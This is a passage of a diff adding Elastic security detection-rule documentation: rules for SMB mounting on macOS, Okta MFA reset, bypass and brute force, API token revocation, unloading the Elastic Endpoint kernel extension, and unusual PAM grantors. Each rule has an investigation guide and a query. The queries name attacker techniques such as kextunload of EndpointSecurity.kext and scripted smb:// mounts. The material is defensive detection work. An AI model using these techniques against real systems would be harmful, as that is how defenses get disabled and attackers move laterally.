https://www.freebsd.org/cgi/man.cgi?mount_smbfs +* https://ss64.com/osx/mount.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Mount SMB Share via Command Line* + + +SMB (Server Message Block) is a protocol used for network file sharing, allowing applications to read and write to files and request services from server programs in a computer network. Adversaries exploit SMB to move laterally within a network by accessing shared resources using valid credentials. The detection rule identifies suspicious command-line activities on macOS, such as using built-in commands to mount SMB shares, which may indicate unauthorized access attempts. It filters out benign processes, like those from Google Drive, to reduce false positives, focusing on potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of commands like "mount_smbfs", "open", "mount", or "osascript" with arguments indicating an attempt to mount an SMB share. +- Check the user account associated with the process to determine if it is a valid and authorized user for accessing SMB shares. +- Investigate the source and destination IP addresses involved in the SMB connection attempt to identify if they are known and trusted within the network. +- Examine the parent process of the suspicious activity to understand the context and origin of the command execution, ensuring it is not a benign process like Google Drive. +- Look for any other related alerts or logs that might indicate lateral movement or unauthorized access attempts within the network. +- Assess the risk and impact of the activity by correlating it with other security events or incidents involving the same user or system. + + +*False positive analysis* + + +- Google Drive operations can trigger this rule due to its use of SMB for file synchronization. To manage this, exclude processes originating from the Google Drive application by using the provided exception for its executable path. +- Legitimate user activities involving manual mounting of SMB shares for accessing network resources may be flagged. To handle this, identify and whitelist specific user accounts or devices that regularly perform these actions as part of their normal workflow. +- Automated backup solutions that utilize SMB for network storage access might be detected. Review and exclude these processes by identifying their specific command-line patterns or parent processes. +- Development or testing environments where SMB shares are frequently mounted for application testing can cause alerts. Implement exceptions for these environments by specifying known IP addresses or hostnames associated with the test servers. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further lateral movement by the adversary. +- Verify the credentials used in the SMB mount attempt to determine if they have been compromised. Reset passwords and revoke access if necessary. +- Conduct a thorough review of recent login activities and access logs on the affected system and any connected SMB shares to identify unauthorized access or data exfiltration. +- Remove any unauthorized SMB mounts and ensure that no persistent connections remain active. +- Update and patch the macOS system and any related software to mitigate known vulnerabilities that could be exploited for lateral movement. +- Enhance monitoring and logging on the network to detect future unauthorized SMB mount attempts, focusing on the specific command-line patterns identified in the alert. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the broader network infrastructure. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + ( + process.name == "mount_smbfs" or + (process.name == "open" and process.args like~ "smb://*") or + (process.name == "mount" and process.args like~ "smbfs") or + (process.name == "osascript" and process.command_line : "osascript*mount volume*smb://*") + ) and + not process.parent.executable like "/Applications/Google Drive.app/Contents/MacOS/Google Drive" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc new file mode 100644 index 0000000000..03984d4d2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-attempt-to-reset-mfa-factors-for-an-okta-user-account]] +=== Attempt to Reset MFA Factors for an Okta User Account + +Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in with normal activity in the victim's environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Reset MFA Factors for an Okta User Account* + + +Okta is a widely used identity management service that provides multi-factor authentication (MFA) to enhance security. Adversaries may attempt to reset MFA factors to register their own, gaining unauthorized access while appearing legitimate. The detection rule identifies such attempts by monitoring specific Okta system events, helping to flag potential account manipulation activities. + + +*Possible investigation steps* + + +- Review the Okta system logs for the specific event.action:user.mfa.factor.reset_all to identify the user account involved in the MFA reset attempt. +- Check the timestamp of the event to determine when the reset attempt occurred and correlate it with any other suspicious activities around the same time. +- Investigate the IP address and location associated with the event to assess if it aligns with the user's typical access patterns or if it appears unusual. +- Examine the user account's recent activity history for any anomalies or unauthorized access attempts that might indicate compromise. +- Verify if there have been any recent changes to the user's account settings or permissions that could suggest account manipulation. +- Contact the affected user to confirm whether they initiated the MFA reset or if it was unauthorized, and advise them on securing their account if necessary. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule if IT staff reset MFA factors for legitimate reasons such as assisting users who have lost access to their MFA devices. To manage this, create exceptions for known IT personnel or specific administrative actions. +- User-initiated resets due to lost or changed devices can also appear as suspicious activity. Implement a process to verify user requests and document these instances to differentiate them from malicious attempts. +- Automated scripts or tools used for account management might reset MFA factors as part of their operations. Identify and whitelist these tools to prevent false positives. +- Scheduled security audits or compliance checks that involve resetting MFA factors should be documented and excluded from triggering alerts by setting up time-based exceptions during these activities. + + +*Response and remediation* + + +- Immediately disable the affected Okta user account to prevent further unauthorized access. +- Review recent login activity and MFA changes for the affected account to identify any unauthorized access or suspicious behavior. +- Reset the MFA factors for the affected account and ensure that only the legitimate user can re-enroll their MFA devices. +- Notify the legitimate user of the account compromise and advise them to change their password and review their account activity. +- Conduct a security review of the affected user's permissions and access to sensitive resources to ensure no unauthorized changes were made. +- Escalate the incident to the security operations team for further investigation and to determine if other accounts may be affected. +- Update security monitoring and alerting to enhance detection of similar MFA reset attempts, leveraging the MITRE ATT&CK framework for guidance on persistence and account manipulation tactics. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.mfa.factor.reset_all + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-revoke-okta-api-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-revoke-okta-api-token.asciidoc new file mode 100644 index 0000000000..6e73262333 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-revoke-okta-api-token.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-34-attempt-to-revoke-okta-api-token]] +=== Attempt to Revoke Okta API Token + +Identifies attempts to revoke an Okta API token. An adversary may attempt to revoke or delete an Okta API token to disrupt an organization's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Revoke Okta API Token* + + +The rule alerts when attempts are made to revoke an Okta API token. The API tokens are critical for integration services, and revoking them may lead to disruption in services. Therefore, it's important to validate these activities. + + +*Possible investigation steps:* + +- Identify the actor associated with the API token revocation attempt. You can use the `okta.actor.alternate_id` field for this purpose. +- Determine the client used by the actor. Review the `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context` fields. +- Verify if the API token revocation was authorized or part of some planned activity. +- Check the `okta.outcome.result` and `okta.outcome.reason` fields to see if the attempt was successful or failed. +- Analyze the past activities of the actor involved in this action. An actor who usually performs such activities may indicate a legitimate reason. +- Evaluate the actions that happened just before and after this event. It can help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity or was performed by an authorized person. + + +*Response and remediation:* + +- If unauthorized revocation attempts are confirmed, initiate the incident response process. +- Block the IP address or device used in the attempts, if they appear suspicious. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the revoked token was used for critical integrations, coordinate with the relevant team to minimize the impact. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:system.api_token.revoke + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-unload-elastic-endpoint-security-kernel-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-unload-elastic-endpoint-security-kernel-extension.asciidoc new file mode 100644 index 0000000000..9a6d5d06ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-unload-elastic-endpoint-security-kernel-extension.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-attempt-to-unload-elastic-endpoint-security-kernel-extension]] +=== Attempt to Unload Elastic Endpoint Security Kernel Extension + +Identifies attempts to unload the Elastic Endpoint Security kernel extension via the kextunload command. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Unload Elastic Endpoint Security Kernel Extension* + + +Elastic Endpoint Security's kernel extension is crucial for monitoring and protecting macOS systems by intercepting and analyzing system-level events. Adversaries may attempt to unload this extension using the `kextunload` command to evade detection and impair defenses. The detection rule identifies such attempts by monitoring process events related to the `kextunload` command targeting the security extension, flagging potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the process event details to confirm the presence of the `kextunload` command targeting "EndpointSecurity.kext" in the process arguments. +- Identify the user account associated with the process event to determine if the action was initiated by an authorized or suspicious user. +- Check the host's recent activity logs for any other unusual or unauthorized actions that might indicate a broader attack or compromise. +- Investigate the source of the command execution by examining the parent process and any related processes to understand how the `kextunload` command was initiated. +- Assess the system for any signs of tampering or additional indicators of compromise, such as unauthorized file modifications or unexpected network connections. +- Correlate this event with other alerts or logs from the same host or user to identify potential patterns or coordinated activities. + + +*False positive analysis* + + +- System administrators performing routine maintenance may trigger the rule when testing or updating kernel extensions. To manage this, create exceptions for known maintenance activities by whitelisting specific user accounts or processes during scheduled maintenance windows. +- Legitimate software updates or installations that require unloading the kernel extension might be flagged. To handle this, monitor and document regular update schedules and create exceptions for these activities, ensuring they align with expected update patterns. +- Security testing or audits conducted by authorized personnel could also trigger the rule. Implement a process to temporarily disable the rule or whitelist specific testing tools and accounts during these audits to prevent false positives. +- Development environments where kernel extensions are frequently loaded and unloaded for testing purposes may generate alerts. Consider setting up a separate monitoring profile for development systems with adjusted thresholds or exceptions to accommodate these activities. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized actions or potential lateral movement by the adversary. +- Terminate any unauthorized processes related to the `kextunload` command to stop the attempt to unload the Elastic Endpoint Security kernel extension. +- Conduct a thorough review of system logs and process execution history to identify any additional suspicious activities or indicators of compromise associated with the adversary's attempt. +- Restore the Elastic Endpoint Security kernel extension if it was successfully unloaded, ensuring that the system's protective measures are fully operational. +- Update and patch the macOS system and all security software to the latest versions to mitigate any known vulnerabilities that could be exploited by adversaries. +- Implement additional monitoring and alerting for any future attempts to execute the `kextunload` command, particularly targeting security-related kernel extensions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational defenses need to be adjusted. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "kextunload" and process.args like~ ("*.EndpointSecurity", "/System/Library/Extensions/EndpointSecurity.kext", "EndpointSecurity.kext") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempted-bypass-of-okta-mfa.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempted-bypass-of-okta-mfa.asciidoc new file mode 100644 index 0000000000..55b2ea7fa7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempted-bypass-of-okta-mfa.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-attempted-bypass-of-okta-mfa]] +=== Attempted Bypass of Okta MFA + +Detects attempts to bypass Okta multi-factor authentication (MFA). An adversary may attempt to bypass the Okta MFA policies configured for an organization in order to obtain unauthorized access to an application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Data Source: Okta +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempted Bypass of Okta MFA* + + +Multi-factor authentication (MFA) is a crucial security measure in preventing unauthorized access. Okta MFA, like other MFA solutions, requires the user to provide multiple means of identification at login. An adversary might attempt to bypass Okta MFA to gain unauthorized access to an application. + +This rule detects attempts to bypass Okta MFA. It might indicate a serious attempt to compromise a user account within the organization's network. + + +*Possible investigation steps* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the bypass attempt. +- Check the `okta.outcome.result` field to confirm the MFA bypass attempt. +- Check if there are multiple unsuccessful MFA attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the MFA bypass attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the bypass attempt. + + +*False positive analysis* + + +- Check if there were issues with the MFA system at the time of the bypass attempt. This could indicate a system error rather than a genuine bypass attempt. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the login attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's MFA settings to ensure they are correctly configured. + + +*Response and remediation* + + +- If unauthorized access is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific MFA bypass technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.mfa.attempt_bypass + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Interception +** ID: T1111 +** Reference URL: https://attack.mitre.org/techniques/T1111/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempts-to-brute-force-an-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempts-to-brute-force-an-okta-user-account.asciidoc new file mode 100644 index 0000000000..18eff374a3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempts-to-brute-force-an-okta-user-account.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-attempts-to-brute-force-an-okta-user-account]] +=== Attempts to Brute Force an Okta User Account + +Identifies when an Okta user account is locked out 3 times within a 3 hour window. An adversary may attempt a brute force or password spraying attack to obtain unauthorized access to user accounts. The default Okta authentication policy ensures that a user account is locked out after 10 failed authentication attempts. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-180m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Brute Force +* Rule Type: Threshold +* Platform: Okta +* Domain: Identity + +*Version*: 418 + +*Rule authors*: + +* Elastic +* @BenB196 +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempts to Brute Force an Okta User Account* + + +Brute force attacks aim to guess user credentials through exhaustive trial-and-error attempts. In this context, Okta accounts are targeted. + +This rule fires when an Okta user account has been locked out 3 times within a 3-hour window. This could indicate an attempted brute force or password spraying attack to gain unauthorized access to the user account. Okta's default authentication policy locks a user account after 10 failed authentication attempts. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.alternate_id` field in the alert. This should give the username of the account being targeted. +- Review the `okta.event_type` field to understand the nature of the events that led to the account lockout. +- Check the `okta.severity` and `okta.display_message` fields for more context around the lockout events. +- Look for correlation of events from the same IP address. Multiple lockouts from the same IP address might indicate a single source for the attack. +- If the IP is not familiar, investigate it. The IP could be a proxy, VPN, Tor node, cloud datacenter, or a legitimate IP turned malicious. +- Determine if the lockout events occurred during the user's regular activity hours. Unusual timing may indicate malicious activity. +- Examine the authentication methods used during the lockout events by checking the `okta.authentication_context.credential_type` field. + + +*False positive analysis:* + + +- Determine whether the account owner or an internal user made repeated mistakes in entering their credentials, leading to the account lockout. +- Ensure there are no known network or application issues that might cause these events. + + +*Response and remediation:* + + +- Alert the user and your IT department immediately. +- If unauthorized access is confirmed, initiate your incident response process. +- Investigate the source of the attack. If a specific machine or network is compromised, additional steps may need to be taken to address the issue. +- Require the affected user to change their password. +- If the attack is ongoing, consider blocking the IP address initiating the brute force attack. +- Implement account lockout policies to limit the impact of brute force attacks. +- Encourage users to use complex, unique passwords and consider implementing multi-factor authentication. +- Check if the compromised account was used to access or alter any sensitive data or systems. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.account.lock + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-authentication-via-unusual-pam-grantor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-authentication-via-unusual-pam-grantor.asciidoc new file mode 100644 index 0000000000..78ec51b944 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-authentication-via-unusual-pam-grantor.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-authentication-via-unusual-pam-grantor]] +=== Authentication via Unusual PAM Grantor + +This rule detects successful authentications via PAM grantors that are not commonly used. This could indicate an attacker is attempting to escalate privileges or maintain persistence on the system by modifying the default PAM configuration. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Authentication via Unusual PAM Grantor* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit uncommon PAM grantors to escalate privileges or maintain persistence by altering default configurations. The detection rule identifies successful authentications using atypical PAM grantors, signaling potential unauthorized access or configuration tampering. + + +*Possible investigation steps* + + +- Review the specific PAM grantor 